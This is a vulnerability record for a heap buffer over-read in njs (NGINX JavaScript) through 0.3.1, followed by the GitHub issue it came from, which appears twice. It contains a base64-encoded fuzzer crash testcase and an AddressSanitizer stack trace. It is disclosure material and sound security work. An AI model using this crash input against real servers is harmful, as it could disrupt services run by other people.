njs through 0.3.1, used in NGINX, has a heap-based buffer over-read in nxt_utf8_decode in nxt/nxt_utf8.c.
cpe:2.3:a:f5:njs:*:*:*:*:*:*:*:*
3F70BB50-E3EC-44F8-BC1A-D514EA261742
0.3.1
OR
Testcase (in base64):
```
bmV3IFJlZ0V4cChuZXcgUmVnRXhwKFJlZ0V4cCgobmV3IE9iamVjdCgiADs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7GDtzOzskOzs7OzsiLCAobmV3IEVycm9yKG5ldyBFcnJvcihuZXcgRXJyb3IobmV3IEVycm9yKG5ldyBJbnRlcm5hbEVycm9yKG5ldyBJbnRlcm5hbEVycm9yKG5ldyBJbnRlcm5hbEVycm9yKG5ldyBJbnRlcm5hbEVycm9yKCgwLTApKSkpKSkpKSk8PTApKSswKSkpKQo=
```

njs version:
`changeset:   965:e0fdef4eb478`

Stack trace (from ASAN):
```
==22308==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62500000c100 at pc 0x555c148621d9 bp 0x7ffdddc241c0 sp 0x7ffdddc241b0
READ of size 1 at 0x62500000c100 thread T0
    #0 0x555c148621d8 in nxt_utf8_decode nxt/nxt_utf8.c:72
    #1 0x555c14862905 in nxt_utf8_length nxt/nxt_utf8.c:271
    #2 0x555c147b5a06 in njs_regexp_prototype_source njs/njs_regexp.c:674
    #3 0x555c147b5a06 in njs_regexp_constructor njs/njs_regexp.c:131
    #4 0x555c147a9cdb in njs_function_native_call njs/njs_function.c:587
    #5 0x555c146d1d82 in njs_vmcode_function_call njs/njs_vm.c:2061
    #6 0x555c146c7d47 in njs_vmcode_interpreter njs/njs_vm.c:159
    #7 0x555c146c2b83 in njs_vm_start njs/njs.c:594
    #8 0x555c146a5cc3 in njs_process_script njs/njs_shell.c:770
    #9 0x555c1469ef48 in njs_process_file njs/njs_shell.c:619
    #10 0x555c1469ef48 in main njs/njs_shell.c:281
    #11 0x7fcc25e56b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #12 0x555c146a0ef9 in _start (/home/build/njs/build/njs+0x2aef9)
```
Found by [fluff](https://github.com/Samsung/Fluff)
heap-buffer-overflow in nxt_utf8_decode nxt/nxt_utf8.c:72
This is a GitHub Issue
repo:njs
owner:nginx
Title : heap-buffer-overflow in nxt_utf8_decode nxt/nxt_utf8.c:72
Issue date:

--- start body ---
Testcase (in base64):
```
bmV3IFJlZ0V4cChuZXcgUmVnRXhwKFJlZ0V4cCgobmV3IE9iamVjdCgiADs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7GDtzOzskOzs7OzsiLCAobmV3IEVycm9yKG5ldyBFcnJvcihuZXcgRXJyb3IobmV3IEVycm9yKG5ldyBJbnRlcm5hbEVycm9yKG5ldyBJbnRlcm5hbEVycm9yKG5ldyBJbnRlcm5hbEVycm9yKG5ldyBJbnRlcm5hbEVycm9yKCgwLTApKSkpKSkpKSk8PTApKSswKSkpKQo=
```

njs version:
`changeset:   965:e0fdef4eb478`

Stack trace (from ASAN):
```
==22308==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62500000c100 at pc 0x555c148621d9 bp 0x7ffdddc241c0 sp 0x7ffdddc241b0
READ of size 1 at 0x62500000c100 thread T0
    #0 0x555c148621d8 in nxt_utf8_decode nxt/nxt_utf8.c:72
    #1 0x555c14862905 in nxt_utf8_length nxt/nxt_utf8.c:271
    #2 0x555c147b5a06 in njs_regexp_prototype_source njs/njs_regexp.c:674
    #3 0x555c147b5a06 in njs_regexp_constructor njs/njs_regexp.c:131
    #4 0x555c147a9cdb in njs_function_native_call njs/njs_function.c:587
    #5 0x555c146d1d82 in njs_vmcode_function_call njs/njs_vm.c:2061
    #6 0x555c146c7d47 in njs_vmcode_interpreter njs/njs_vm.c:159
    #7 0x555c146c2b83 in njs_vm_start njs/njs.c:594
    #8 0x555c146a5cc3 in njs_process_script njs/njs_shell.c:770
    #9 0x555c1469ef48 in njs_process_file njs/njs_shell.c:619
    #10 0x555c1469ef48 in main njs/njs_shell.c:281
    #11 0x7fcc25e56b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #12 0x555c146a0ef9 in _start (/home/build/njs/build/njs+0x2aef9)
```
Found by [fluff](https://github.com/Samsung/Fluff)
--- end body ---

comments :
--- start comments ---

--- end comments ---